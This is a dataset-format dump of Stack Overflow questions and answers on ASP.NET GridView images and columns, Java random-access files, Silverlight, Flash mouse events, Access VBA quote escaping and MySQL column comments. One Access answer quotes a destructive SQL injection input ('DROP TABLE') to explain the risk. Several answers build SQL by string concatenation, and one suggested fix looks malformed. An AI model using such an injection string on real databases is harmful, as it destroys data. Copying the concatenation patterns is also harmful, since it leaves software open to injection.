qid
int64
4
8.14M
question
stringlengths
20
48.3k
answers
list
date
stringlengths
10
10
metadata
list
input
stringlengths
12
45k
output
stringlengths
2
31.8k
199,808
<p>I have a pictures table that has the following columns:</p> <pre><code>PICTURE_ID int IDENTITY(1000,1) NOT NULL, CATEGORY_ID int NOT NULL, IMGDATA image NOT NULL, CAPTION1 text COLLATE SQL_Latin1_General_CP1_CI_AS NULL, MIME_TYPE nchar(20) NOT NULL DEFAULT ('image/jpeg'), IMGTHDATA image NOT NULL </code></pre> <p>In my code-behind I have this:</p> <pre><code>string tableName = "CATPICS"; SqlConnection dbConnection = new SqlConnection(connStr); SqlDataAdapter daCatPics = new SqlDataAdapter("SELECT TOP(3) * FROM CATEGORY_PICTURES", dbConnection); DataSet dsPics = new DataSet(); daCatPics.Fill(dsPics, tableName); gvCatPics.DataSource = dsPics; gvCatPics.DataMember = tableName; gvCatPics.DataBind(); </code></pre> <p>On the markup I pretty much have: </p> <pre><code>&lt;asp:GridView ID="gvCatPics" runat="server"&gt;&lt;/asp:GridView&gt; </code></pre> <p>However when the code executes, it simply ignores the two image columns (IMGDATA and IMGTHDATA). For some reason it doesn't recognize that they are image columns. Does anyone know of the simplest way of having it render the image?</p>
[ { "answer_id": 199818, "author": "Bryant", "author_id": 10893, "author_profile": "https://Stackoverflow.com/users/10893", "pm_score": 1, "selected": false, "text": "<p>There is no real simple way to do this. Basically you're going to need to create a handler to display the images. Then in your grid you will create an img tag with the URL pointing to your image handler. </p>\n\n<p>An example of this can be found <a href=\"http://blogs.msdn.com/jdixon/articles/495408.aspx\" rel=\"nofollow noreferrer\">here</a>. </p>\n\n<p><strong>Update:</strong> Much better example of this <a href=\"http://www.odetocode.com/Articles/172.aspx\" rel=\"nofollow noreferrer\">here</a>.</p>\n" }, { "answer_id": 199825, "author": "Steven A. Lowe", "author_id": 9345, "author_profile": "https://Stackoverflow.com/users/9345", "pm_score": 3, "selected": true, "text": "<p>you can make a page that returns the image as a stream and reference that page from an Image column (or an IMG tag in a template column); see <a href=\"http://www.netomatix.com/development/GridViewDisplayBlob.aspx\" rel=\"nofollow noreferrer\">GridViewDisplayBlob.aspx</a></p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/199808", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10708/" ]
I have a pictures table that has the following columns: ``` PICTURE_ID int IDENTITY(1000,1) NOT NULL, CATEGORY_ID int NOT NULL, IMGDATA image NOT NULL, CAPTION1 text COLLATE SQL_Latin1_General_CP1_CI_AS NULL, MIME_TYPE nchar(20) NOT NULL DEFAULT ('image/jpeg'), IMGTHDATA image NOT NULL ``` In my code-behind I have this: ``` string tableName = "CATPICS"; SqlConnection dbConnection = new SqlConnection(connStr); SqlDataAdapter daCatPics = new SqlDataAdapter("SELECT TOP(3) * FROM CATEGORY_PICTURES", dbConnection); DataSet dsPics = new DataSet(); daCatPics.Fill(dsPics, tableName); gvCatPics.DataSource = dsPics; gvCatPics.DataMember = tableName; gvCatPics.DataBind(); ``` On the markup I pretty much have: ``` <asp:GridView ID="gvCatPics" runat="server"></asp:GridView> ``` However when the code executes, it simply ignores the two image columns (IMGDATA and IMGTHDATA). For some reason it doesn't recognize that they are image columns. Does anyone know of the simplest way of having it render the image?
you can make a page that returns the image as a stream and reference that page from an Image column (or an IMG tag in a template column); see [GridViewDisplayBlob.aspx](http://www.netomatix.com/development/GridViewDisplayBlob.aspx)
199,832
<p>Is there a way I can control columns from code. </p> <p>I had a drop drop box with select : Daily and weekend and the gridview column with Monday, Tuesday, Wednesday, Thursday, Friday, Saturday,sunday. If the user selects Daily i want to show columns only from Monday to Friday.</p> <p>It is possible to control from the code. Oh i am using this griview in my webpage and coding in done using C#. </p> <p>help!</p>
[ { "answer_id": 199938, "author": "Stephen Wrighton", "author_id": 7516, "author_profile": "https://Stackoverflow.com/users/7516", "pm_score": 1, "selected": false, "text": "<p>In the Item DataBound event handler sub, for every grid row, check the drop list for \"Daily\" or \"weekend\" and then set the visibility of the columns in question to False or true where appropriate.</p>\n" }, { "answer_id": 199946, "author": "Pavel Chuchuva", "author_id": 14131, "author_profile": "https://Stackoverflow.com/users/14131", "pm_score": 4, "selected": true, "text": "<p>Use <a href=\"http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.gridview.columns.aspx\" rel=\"noreferrer\">Columns</a> property:</p>\n\n<pre><code>GridView1.Columns[5].Visible = false\nGridView1.Columns[6].Visible = false\n</code></pre>\n" }, { "answer_id": 199956, "author": "Matt", "author_id": 4154, "author_profile": "https://Stackoverflow.com/users/4154", "pm_score": 1, "selected": false, "text": "<p>You can programmatically hide or reveal columns by indexing into the <a href=\"http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.gridview.columns(VS.80).aspx\" rel=\"nofollow noreferrer\">Columns</a> collection and setting the Visible property.</p>\n\n<p>For example, to hide the first column in your gridview:</p>\n\n<pre><code>theGridview.Columns[0].Visible = false;\n</code></pre>\n" }, { "answer_id": 199977, "author": "Merus", "author_id": 5133, "author_profile": "https://Stackoverflow.com/users/5133", "pm_score": 0, "selected": false, "text": "<p>It might be a hassle for you to use the index of the column -- conveniently, the Columns property also accepts the name of the column, which you can set on creation using the Name property of the column. This helps make the code self-documenting.</p>\n" }, { "answer_id": 2005204, "author": "Shakeeb Ahmed", "author_id": 242893, "author_profile": "https://Stackoverflow.com/users/242893", "pm_score": 2, "selected": false, "text": "<p>All these code snippet only works when you have AutoGenerateColumns set to false. If you are using AutoGeneratedColumns then you have to loop each row and hide the appropiate cells.</p>\n\n<p>Thank</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/199832", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14752/" ]
Is there a way I can control columns from code. I had a drop drop box with select : Daily and weekend and the gridview column with Monday, Tuesday, Wednesday, Thursday, Friday, Saturday,sunday. If the user selects Daily i want to show columns only from Monday to Friday. It is possible to control from the code. Oh i am using this griview in my webpage and coding in done using C#. help!
Use [Columns](http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.gridview.columns.aspx) property: ``` GridView1.Columns[5].Visible = false GridView1.Columns[6].Visible = false ```
199,847
<p>I have the following fields:</p> <ul> <li>Inventory control (16 byte record) <ul> <li>Product ID code (int – 4 bytes)</li> <li>Quantity in stock (int – 4 bytes)</li> <li>Price (double – 8 bytes)</li> </ul></li> </ul> <p>How do I create a fixed length random access file using the above lengths? I tried some examples online, but I either get an EOF exception or random address values when I try to access them.</p> <p>I tried some more examples and couldn't understand the concept very well. I'm trying a project with it and will try to explore more on it.</p> <p>Here is some example data. There might be holes in the data where <code>No. in stock</code> could be <code>23 == 023</code>.</p> <pre><code> Quantity ID. No. In Stock Price ------- -------- ------ 1001 476 $28.35 1002 240 $32.56 1003 517 $51.27 1004 284 $23.75 1005 165 $32.25 </code></pre> <p>Thanks for the help.</p>
[ { "answer_id": 199954, "author": "Aaron Maenpaa", "author_id": 2603, "author_profile": "https://Stackoverflow.com/users/2603", "pm_score": 4, "selected": true, "text": "<p>java.io.RandomAccessFile is the class you're looking for. Here's an example implementation (you'll probably want to write some unit tests, as I haven't :)</p>\n\n<pre><code>package test;\n\nimport java.io.IOException;\nimport java.io.RandomAccessFile;\n\npublic class Raf {\n private static class Record{\n private final double price;\n private final int id;\n private final int stock;\n\n public Record(int id, int stock, double price){\n this.id = id;\n this.stock = stock;\n this.price = price;\n }\n\n public void pack(int n, int offset, byte[] array){\n array[offset + 0] = (byte)(n &amp; 0xff);\n array[offset + 1] = (byte)((n &gt;&gt; 8) &amp; 0xff);\n array[offset + 2] = (byte)((n &gt;&gt; 16) &amp; 0xff);\n array[offset + 3] = (byte)((n &gt;&gt; 24) &amp; 0xff);\n }\n\n public void pack(double n, int offset, byte[] array){\n long bytes = Double.doubleToRawLongBits(n);\n pack((int) (bytes &amp; 0xffffffff), offset, array);\n pack((int) ((bytes &gt;&gt; 32) &amp; 0xffffffff), offset + 4, array);\n }\n\n public byte[] getBytes() {\n byte[] record = new byte[16];\n pack(id, 0, record);\n pack(stock, 4, record);\n pack(price, 8, record);\n return record;\n }\n }\n\n private static final int RECORD_SIZE = 16;\n private static final int N_RECORDS = 1024;\n\n /**\n * @param args\n * @throws IOException \n */\n public static void main(String[] args) throws IOException {\n RandomAccessFile raf = new RandomAccessFile(args[0], \"rw\");\n try{\n raf.seek(RECORD_SIZE * N_RECORDS);\n\n raf.seek(0);\n\n raf.write(new Record(1001, 476, 28.35).getBytes());\n raf.write(new Record(1002, 240, 32.56).getBytes());\n } finally {\n raf.close();\n }\n }\n}\n</code></pre>\n" }, { "answer_id": 50541965, "author": "Arnav Rao", "author_id": 7325804, "author_profile": "https://Stackoverflow.com/users/7325804", "pm_score": 0, "selected": false, "text": "<p>With recent Java versions, you can manage Random access files using FileChannel. SeekableByteChannel interface define methods which allow you to change the position of the pointer in the destination entity like file which the channel is connected to. FileChannel implements SeekableByteChannel allowing you to manage random access files using channels. Methods size, position, truncate allow you to read and write files randomly.</p>\n\n<p>see <a href=\"http://www.zoftino.com/java-random-access-files\" rel=\"nofollow noreferrer\">http://www.zoftino.com/java-random-access-files</a> for details and example.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/199847", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21968/" ]
I have the following fields: * Inventory control (16 byte record) + Product ID code (int – 4 bytes) + Quantity in stock (int – 4 bytes) + Price (double – 8 bytes) How do I create a fixed length random access file using the above lengths? I tried some examples online, but I either get an EOF exception or random address values when I try to access them. I tried some more examples and couldn't understand the concept very well. I'm trying a project with it and will try to explore more on it. Here is some example data. There might be holes in the data where `No. in stock` could be `23 == 023`. ``` Quantity ID. No. In Stock Price ------- -------- ------ 1001 476 $28.35 1002 240 $32.56 1003 517 $51.27 1004 284 $23.75 1005 165 $32.25 ``` Thanks for the help.
java.io.RandomAccessFile is the class you're looking for. Here's an example implementation (you'll probably want to write some unit tests, as I haven't :) ``` package test; import java.io.IOException; import java.io.RandomAccessFile; public class Raf { private static class Record{ private final double price; private final int id; private final int stock; public Record(int id, int stock, double price){ this.id = id; this.stock = stock; this.price = price; } public void pack(int n, int offset, byte[] array){ array[offset + 0] = (byte)(n & 0xff); array[offset + 1] = (byte)((n >> 8) & 0xff); array[offset + 2] = (byte)((n >> 16) & 0xff); array[offset + 3] = (byte)((n >> 24) & 0xff); } public void pack(double n, int offset, byte[] array){ long bytes = Double.doubleToRawLongBits(n); pack((int) (bytes & 0xffffffff), offset, array); pack((int) ((bytes >> 32) & 0xffffffff), offset + 4, array); } public byte[] getBytes() { byte[] record = new byte[16]; pack(id, 0, record); pack(stock, 4, record); pack(price, 8, record); return record; } } private static final int RECORD_SIZE = 16; private static final int N_RECORDS = 1024; /** * @param args * @throws IOException */ public static void main(String[] args) throws IOException { RandomAccessFile raf = new RandomAccessFile(args[0], "rw"); try{ raf.seek(RECORD_SIZE * N_RECORDS); raf.seek(0); raf.write(new Record(1001, 476, 28.35).getBytes()); raf.write(new Record(1002, 240, 32.56).getBytes()); } finally { raf.close(); } } } ```
199,866
<p>I am just starting out with Silverlight (2 RC0) and can’t seem to get the following to work. I want to create a simple image button user control.</p> <p>My xaml for the user control is as follows:</p> <pre><code> &lt;Button&gt; &lt;Button.Template&gt; &lt;ControlTemplate&gt; &lt;Image Source="{TemplateBinding ImageSource}" Width="{TemplateBinding Width}" Height="{TemplateBinding Height}" /&gt; &lt;/ControlTemplate&gt; &lt;/Button.Template&gt; &lt;/Button&gt; </code></pre> <p>The code behind is as follows:</p> <pre><code>public partial class ImageButtonUserControl : UserControl { public ImageButtonUserControl() { InitializeComponent(); } public Image Source { get { return base.GetValue(SourceProperty) as Image; } set { base.SetValue(SourceProperty, value); } } public static readonly DependencyProperty SourceProperty = DependencyProperty.Register("SourceProperty", typeof(Image), typeof(ImageButtonUserControl),null); } </code></pre> <p>I want to be able to dynamically create the ImageButtons and stuff them in a container like a WrapPanel: Assume we have an image named “image” already:</p> <pre><code>ImageButtonUserControl imageButton = new ImageButtonUserControl(); imageButton.Source = image; this.thumbnailStackPanel.Children.Add(imageButton); </code></pre> <p>What do I need to do to get the image to display? I'm assuming I need to do something with DataContext, but I'm not quite sure what or where.</p> <p>Thanks for any help</p>
[ { "answer_id": 200013, "author": "Jobi Joy", "author_id": 8091, "author_profile": "https://Stackoverflow.com/users/8091", "pm_score": 4, "selected": true, "text": "<p>You can get an ImageButton easily just by templating an ordinary Button so you dont require a UserControl at all. Assuming that Button.Content will be the ImageSource. The ControlTemplate of the Button will be:</p>\n\n<pre><code> &lt;ControlTemplate x:Key=\"btn_template\"&gt; \n &lt;Image Source=\"{TemplateBinding Content}\" /&gt; \n &lt;/ControlTemplate&gt;\n</code></pre>\n\n<p>And the usage as an ItemsControl with URL collection as its ItemsSource, You can add WrapPanel as the ItemPanel. Default will be StackPanel if you don't specify one.</p>\n\n<pre><code>&lt;DataTemplate x:Key=\"dataTemplate\"&gt;\n &lt;Button Template=\"{StaticResource btn_template}\" Content=\"{Binding}\"/&gt;\n&lt;/DataTemplate&gt; \n\n\n &lt;ItemsControl ItemsSource=\"{Binding UrlCollection}\" ItemsTemplate=\"{StaticResource dataTemplate}\"/&gt;\n</code></pre>\n" }, { "answer_id": 542558, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>I believe this will help. It did for me!</p>\n\n<p><a href=\"http://www.nikhilk.net/Silverlight-Effects-In-Depth.aspx\" rel=\"nofollow noreferrer\">http://www.nikhilk.net/Silverlight-Effects-In-Depth.aspx</a></p>\n\n<p>Instead Image, use ImageSource. E.G. typeof(ImageSource), etc..</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/199866", "https://Stackoverflow.com", "https://Stackoverflow.com/users/67719/" ]
I am just starting out with Silverlight (2 RC0) and can’t seem to get the following to work. I want to create a simple image button user control. My xaml for the user control is as follows: ``` <Button> <Button.Template> <ControlTemplate> <Image Source="{TemplateBinding ImageSource}" Width="{TemplateBinding Width}" Height="{TemplateBinding Height}" /> </ControlTemplate> </Button.Template> </Button> ``` The code behind is as follows: ``` public partial class ImageButtonUserControl : UserControl { public ImageButtonUserControl() { InitializeComponent(); } public Image Source { get { return base.GetValue(SourceProperty) as Image; } set { base.SetValue(SourceProperty, value); } } public static readonly DependencyProperty SourceProperty = DependencyProperty.Register("SourceProperty", typeof(Image), typeof(ImageButtonUserControl),null); } ``` I want to be able to dynamically create the ImageButtons and stuff them in a container like a WrapPanel: Assume we have an image named “image” already: ``` ImageButtonUserControl imageButton = new ImageButtonUserControl(); imageButton.Source = image; this.thumbnailStackPanel.Children.Add(imageButton); ``` What do I need to do to get the image to display? I'm assuming I need to do something with DataContext, but I'm not quite sure what or where. Thanks for any help
You can get an ImageButton easily just by templating an ordinary Button so you dont require a UserControl at all. Assuming that Button.Content will be the ImageSource. The ControlTemplate of the Button will be: ``` <ControlTemplate x:Key="btn_template"> <Image Source="{TemplateBinding Content}" /> </ControlTemplate> ``` And the usage as an ItemsControl with URL collection as its ItemsSource, You can add WrapPanel as the ItemPanel. Default will be StackPanel if you don't specify one. ``` <DataTemplate x:Key="dataTemplate"> <Button Template="{StaticResource btn_template}" Content="{Binding}"/> </DataTemplate> <ItemsControl ItemsSource="{Binding UrlCollection}" ItemsTemplate="{StaticResource dataTemplate}"/> ```
199,879
<p>I have a div that contains several child elements, one of which is a flash movie.</p> <p>When rolling over this div, I want it to change style to indicate it is rolled over. My problem is that the <code>mouseover</code> and <code>mouseout</code> events don't always trigger, especially if the user moves the mouse over the flash element too quickly.</p> <p>Any suggestions for how I can ensure that a <code>mouseover</code> event always get triggered.</p> <p>I can't add an event to the flash movie itself because it is proprietary code that I don't have the source for.</p> <p>Also I can't cover the flash movie in a div/image because I need rollover and click events to occur within the flash itself.</p>
[ { "answer_id": 200026, "author": "nickf", "author_id": 9021, "author_profile": "https://Stackoverflow.com/users/9021", "pm_score": 1, "selected": false, "text": "<p>What you could do is cover the flash element with an invisible div. Place your onmouseover handler on that div, and add a line to the handler to hide the covering div. At the same time, add an <code>onmouseover</code> function to the window - this should get triggered when the mouse leaves the flash element. (I hope).</p>\n\n<ol>\n<li>There's a <code>&lt;div&gt;</code> covering your flash.</li>\n<li>When the user mouses over it:\n\n<ol>\n<li>It calls whatever function it needs to do.</li>\n<li>It hides itself, allowing normal interaction with the SWF.</li>\n<li>It places a mouseover function on the window which will:\n\n<ol>\n<li>Show the original <code>div</code> again.</li>\n<li>Calls your \"mouseout\" function.</li>\n<li>Removes the <code>window.onmouseover</code> function.</li>\n</ol></li>\n</ol></li>\n</ol>\n" }, { "answer_id": 200252, "author": "Rakesh Pai", "author_id": 20089, "author_profile": "https://Stackoverflow.com/users/20089", "pm_score": 0, "selected": false, "text": "<p>The simple answer is you can't, given your constraints.</p>\n\n<p>The complex answer you seem to know already. The flash movie runs in a sandbox that doesn't trigger regular DOM events. If you want to trigger mouse events in the flash, you can't cover it up with DOM elements. If you don't have access to the source of the flash movie, you can't build \"bridges\" to the JS world.</p>\n\n<p>I think you have a no-win situation.</p>\n" }, { "answer_id": 223568, "author": "Claudio", "author_id": 30122, "author_profile": "https://Stackoverflow.com/users/30122", "pm_score": 2, "selected": false, "text": "<p>Change the <strong><em>wmode</em></strong> parameter of the object/embed tag to <strong><em>opaque</em></strong>.</p>\n\n<p>Your code should look something like the following.</p>\n\n<pre><code>&lt;object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.macromedia\n.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0\" width=\"800\" height=\"600\"&gt;\n &lt;param name=\"movie\" value=\"movie.swf\"&gt;\n &lt;param name=\"wmode\" value=\"opaque\"&gt;\n &lt;embed src=\"movie.swf\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" width=\"800\" height=\"600\"&gt;&lt;/embed&gt;\n&lt;/object&gt;\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/199879", "https://Stackoverflow.com", "https://Stackoverflow.com/users/20851/" ]
I have a div that contains several child elements, one of which is a flash movie. When rolling over this div, I want it to change style to indicate it is rolled over. My problem is that the `mouseover` and `mouseout` events don't always trigger, especially if the user moves the mouse over the flash element too quickly. Any suggestions for how I can ensure that a `mouseover` event always get triggered. I can't add an event to the flash movie itself because it is proprietary code that I don't have the source for. Also I can't cover the flash movie in a div/image because I need rollover and click events to occur within the flash itself.
Change the ***wmode*** parameter of the object/embed tag to ***opaque***. Your code should look something like the following. ``` <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia .com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="800" height="600"> <param name="movie" value="movie.swf"> <param name="wmode" value="opaque"> <embed src="movie.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="800" height="600"></embed> </object> ```
199,889
<p>I'm trying to do a domain lookup in vba with something like this:</p> <pre><code>DLookup("island", "villages", "village = '" &amp; txtVillage &amp; "'") </code></pre> <p>This works fine until txtVillage is something like Dillon's Bay, when the apostrophe is taken to be a single quote, and I get a run-time error.</p> <p>I've written a trivial function that escapes single quotes - it replaces "'" with "''". This seems to be something that comes up fairly often, but I can't find any reference to a built-in function that does the same. Have I missed something?</p>
[ { "answer_id": 199900, "author": "Joel Coehoorn", "author_id": 3043, "author_profile": "https://Stackoverflow.com/users/3043", "pm_score": 2, "selected": false, "text": "<p>It's worse than you think. Think about what would happen if someone entered a value like this, and you haven't escaped anything:</p>\n\n<pre><code>'); DROP TABLE [YourTable]\n</code></pre>\n\n<p>Not pretty.</p>\n\n<p>The reason there's no built in function to simply escape an apostrophe is because the correct way to handle this is to use query parameters. For an Ole/Access style query you'd set this as your query string:</p>\n\n<pre><code>DLookup(\"island\", \"village\", \"village = ? \")\n</code></pre>\n\n<p>And then set the parameter separately. I don't know how you go about setting the parameter value from vba, though.</p>\n" }, { "answer_id": 199904, "author": "inglesp", "author_id": 10439, "author_profile": "https://Stackoverflow.com/users/10439", "pm_score": 0, "selected": false, "text": "<p>By the way, here's my EscapeQuotes function</p>\n\n<pre><code>Public Function EscapeQuotes(s As String) As String\n\n If s = \"\" Then\n EscapeQuotes = \"\"\n ElseIf Left(s, 1) = \"'\" Then\n EscapeQuotes = \"''\" &amp; EscapeQuotes(Mid(s, 2))\n Else\n EscapeQuotes = Left(s, 1) &amp; EscapeQuotes(Mid(s, 2))\n End If\n\nEnd Function\n</code></pre>\n" }, { "answer_id": 199913, "author": "Matt", "author_id": 4154, "author_profile": "https://Stackoverflow.com/users/4154", "pm_score": 6, "selected": true, "text": "<p>The \"Replace\" function should do the trick. Based on your code above:</p>\n\n<pre><code>DLookup(\"island\", \"villages\", \"village = '\" &amp; Replace(txtVillage, \"'\", \"''\") &amp; \"'\")\n</code></pre>\n" }, { "answer_id": 199916, "author": "Rob Gray", "author_id": 5691, "author_profile": "https://Stackoverflow.com/users/5691", "pm_score": 1, "selected": false, "text": "<p>I believe access can use Chr$(34) and happily have single quotes/apostrophes inside.<br>\neg </p>\n\n<pre><code>DLookup(\"island\", \"villages\", \"village = \" &amp; chr$(34) &amp; nonEscapedString &amp; chr$(34))\n</code></pre>\n\n<p>Though then you'd have to escape the chr$(34) (\")</p>\n\n<p>You can use the Replace function. </p>\n\n<pre><code>Dim escapedString as String\n\nescapedString = Replace(nonescapedString, \"'\", \"''\")\n</code></pre>\n" }, { "answer_id": 200336, "author": "onedaywhen", "author_id": 15354, "author_profile": "https://Stackoverflow.com/users/15354", "pm_score": 2, "selected": false, "text": "<p>Though the shorthand domain functions such as DLookup are tempting, they have their disadvantages. The equivalent Jet SQL is something like </p>\n\n<pre><code>SELECT FIRST(island)\nFROM villages\nWHERE village = ?;\n</code></pre>\n\n<p>If you have more than one matching candidate it will pick the 'first' one, the definition of 'first' is implementation (SQL engine) dependent and undefined for the Jet/ACE engine IIRC. Do you know which one would be first? If you don’t then steer clear of DLookup :) </p>\n\n<p>[For interest, the answer for Jet/ACE will either be the minimum value based on the clusterd index at the time the database file was last compacted or the first (valid time) inserted value if the database has never been compacted. Clustered index is in turn determined by the PRIAMRY KEY if persent otherwise a UNIQUE constraint or index defined on NOT NULL columns, otherwise the first (valid time) inserted row. What if there is more than one UNIQUE constraint or index defined on NOT NULL columns, which one would be used for clustering? I've no idea! I trust you get the idea that 'first' is not easy to determine, even when you know how!]</p>\n\n<p>I've also seen advice from Microsoft to avoid using domain aggregate functions from an optimization point of view:</p>\n\n<p>Information about query performance in an Access database\n<a href=\"http://support.microsoft.com/kb/209126\" rel=\"nofollow noreferrer\">http://support.microsoft.com/kb/209126</a></p>\n\n<p>\"Avoid using domain aggregate functions, such as the DLookup function... the Jet database engine cannot optimize queries that use domain aggregate functions\"</p>\n\n<p>If you choose to re-write using a query you can then take advantage of the PARAMETERS syntax, or you may prefer the Jet 4.0/ACE PROCEDURE syntax e.g. something like</p>\n\n<pre><code>CREATE PROCEDURE GetUniqueIslandName\n(\n :village_name VARCHAR(60)\n)\nAS \nSELECT V1.island_name\n FROM Villages AS V1\n WHERE V1.village_name = :village_name\n AND EXISTS \n (\n SELECT V2.village_name\n FROM Villages AS V2\n WHERE V2.village_name = V1.village_name\n GROUP \n BY V2.village_name\n HAVING COUNT(*) = 1\n );\n</code></pre>\n\n<p>This way you can use the engine's own functionality -- or at least that of its data providers -- to escape all characters (not merely double- and single quotes) as necessary.</p>\n" }, { "answer_id": 410711, "author": "Gnudiff", "author_id": 50003, "author_profile": "https://Stackoverflow.com/users/50003", "pm_score": 1, "selected": false, "text": "<p>Parametrized queries such as Joel Coehoorn suggested are the way to go, instead of doing concatenation in query string. First - avoids certain security risks, second - I am reasonably certain it takes escaping into engine's own hands and you don't have to worry about that. </p>\n" }, { "answer_id": 2331175, "author": "niceboomer", "author_id": 280855, "author_profile": "https://Stackoverflow.com/users/280855", "pm_score": 0, "selected": false, "text": "<p>For who having trouble with single quotation and Replace function, this line may save your day ^o^</p>\n\n<pre><code>Replace(result, \"'\", \"''\", , , vbBinaryCompare)\n</code></pre>\n" }, { "answer_id": 15821856, "author": "keith b", "author_id": 2246805, "author_profile": "https://Stackoverflow.com/users/2246805", "pm_score": 0, "selected": false, "text": "<p>put brackets around the criteria that might have an apostrophe in it.</p>\n\n<p>SOmething like:</p>\n\n<pre><code>DLookup(\"island\", \"villages\", \"village = '[\" &amp; txtVillage &amp; \"]'\")\n</code></pre>\n\n<p>They might need to be outside the single quotes or just around txtVillage like:</p>\n\n<pre><code>DLookup(\"island\", \"villages\", \"village = '\" &amp; [txtVillage] &amp; \"'\")\n</code></pre>\n\n<p>But if you find the right combination, it will take care of the apostrophe.</p>\n\n<p>Keith B</p>\n" }, { "answer_id": 17115002, "author": "dubi", "author_id": 2487209, "author_profile": "https://Stackoverflow.com/users/2487209", "pm_score": -1, "selected": false, "text": "<p>My solution is much simpler. Originally, I used this SQL expression to create an ADO recordset:</p>\n\n<pre><code>Dim sSQL as String\nsSQL=\"SELECT * FROM tblTranslation WHERE fldEnglish='\" &amp; myString &amp; \"';\"\n</code></pre>\n\n<p>When <code>myString</code> had an apostrophe in it, like Int'l Electrics, my program would halt. Using double quotes solved the problem.</p>\n\n<pre><code>sSQL=\"SELECT * FROM tblTranslation WHERE fldEnglish=\"\" &amp; myString &amp; \"\";\"\n</code></pre>\n" }, { "answer_id": 17170883, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>But then, it should be like this (with one more doublequote each):</p>\n\n<pre><code>sSQL = \"SELECT * FROM tblTranslation WHERE fldEnglish=\"\"\" &amp; myString &amp; \"\"\";\"\n</code></pre>\n\n<p>Or what I prefer:</p>\n\n<p>Make a function to escape single quotes, because \"escaping\" with \"[]\" would not allow these characters in your string...</p>\n\n<pre><code>Public Function fncSQLStr(varStr As Variant) As String\n\nIf IsNull(varStr) Then\n fncSQLStr = \"\"\n Else\n fncSQLStr = Replace(Trim(varStr), \"'\", \"''\")\n End If\n\nEnd Function\n</code></pre>\n\n<p>I use this function for all my SQL-queries, like SELECT, INSERT and UPDATE (and in the WHERE clause as well...)</p>\n\n<pre><code>strSQL = \"INSERT INTO tbl\" &amp; \n \" (fld1, fld2)\" &amp; _\n \" VALUES ('\" &amp; fncSQLStr(str1) &amp; \"', '\" &amp; fncSQLStr(Me.tfFld2.Value) &amp; \"');\"\n</code></pre>\n\n<p>or</p>\n\n<pre><code>strSQL = \"UPDATE tbl\" &amp; _\n \" SET fld1='\" &amp; fncSQLStr(str1) &amp; \"', fld2='\" &amp; fncSQLStr(Me.tfFld2.Value) &amp; \"'\" &amp; _\n \" WHERE fld3='\" &amp; fncSQLStr(str3) &amp; \"';\"\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/199889", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10439/" ]
I'm trying to do a domain lookup in vba with something like this: ``` DLookup("island", "villages", "village = '" & txtVillage & "'") ``` This works fine until txtVillage is something like Dillon's Bay, when the apostrophe is taken to be a single quote, and I get a run-time error. I've written a trivial function that escapes single quotes - it replaces "'" with "''". This seems to be something that comes up fairly often, but I can't find any reference to a built-in function that does the same. Have I missed something?
The "Replace" function should do the trick. Based on your code above: ``` DLookup("island", "villages", "village = '" & Replace(txtVillage, "'", "''") & "'") ```
199,905
<p>Is it possible to add comments somehow, somewhere? </p> <p>I don't pretend to be any sort of expert when using MySQL and certainly don't spend all day in it. More often than I would like I forget how I intend to use a column (usally the bit ones) and would be very excited if I could add a comment to remind me if 1 is good or bad, for example. </p> <p>I'd be happy if it only showed up in something like 'show create table', but any obscure place within the table structures would be better and easier to find than the current post-it notes on my desk.</p>
[ { "answer_id": 199908, "author": "Edward Z. Yang", "author_id": 23845, "author_profile": "https://Stackoverflow.com/users/23845", "pm_score": 0, "selected": false, "text": "<p>Are you sure you're not looking to use an ENUM column instead? Good MySQL tables should be self-documenting.</p>\n\n<p>An alternate approach would be to comment the schema files that have the SQL you use to define your tables (I assume you have those, and that you're not using PHPMyAdmin to grow table schemas on the fly...)</p>\n\n<p>But if you insist, the <a href=\"http://dev.mysql.com/doc/refman/5.1/en/columns-table.html\" rel=\"nofollow noreferrer\">INFORMATION_SCHEMA COLUMNS</a> table, specifically the COLUMN_COMMENT column, is probably what you're looking for. It's proprietary MySQL syntax though, so I would tend to avoid it (although the idea of database interoperability is really a joke).</p>\n" }, { "answer_id": 199920, "author": "micahwittman", "author_id": 11181, "author_profile": "https://Stackoverflow.com/users/11181", "pm_score": 5, "selected": false, "text": "<p><a href=\"http://dev.mysql.com/doc/refman/5.0/en/create-table.html\" rel=\"noreferrer\">http://dev.mysql.com/doc/refman/5.0/en/create-table.html</a></p>\n\n<pre><code>table_option:\n {ENGINE|TYPE} [=] engine_name\n | AUTO_INCREMENT [=] value\n | AVG_ROW_LENGTH [=] value\n | [DEFAULT] CHARACTER SET [=] charset_name\n | CHECKSUM [=] {0 | 1}\n | [DEFAULT] COLLATE [=] collation_name\n | COMMENT [=] 'string'\n</code></pre>\n\n<hr>\n\n<p>Example:</p>\n\n<pre><code>CREATE TABLE foo (\n id int(10) NOT NULL auto_increment COMMENT 'unique ID for each foo entry',\n bar varchar(255) default NULL COMMENT 'the bar of the foo',\n ....\n) TYPE=MyISAM;\n</code></pre>\n" }, { "answer_id": 199921, "author": "Robert Gamble", "author_id": 25222, "author_profile": "https://Stackoverflow.com/users/25222", "pm_score": 4, "selected": false, "text": "<p>MySQL supports comments on tables and columns which will show up on show create:</p>\n\n<pre><code>create table example (field1 char(3) comment 'first field') 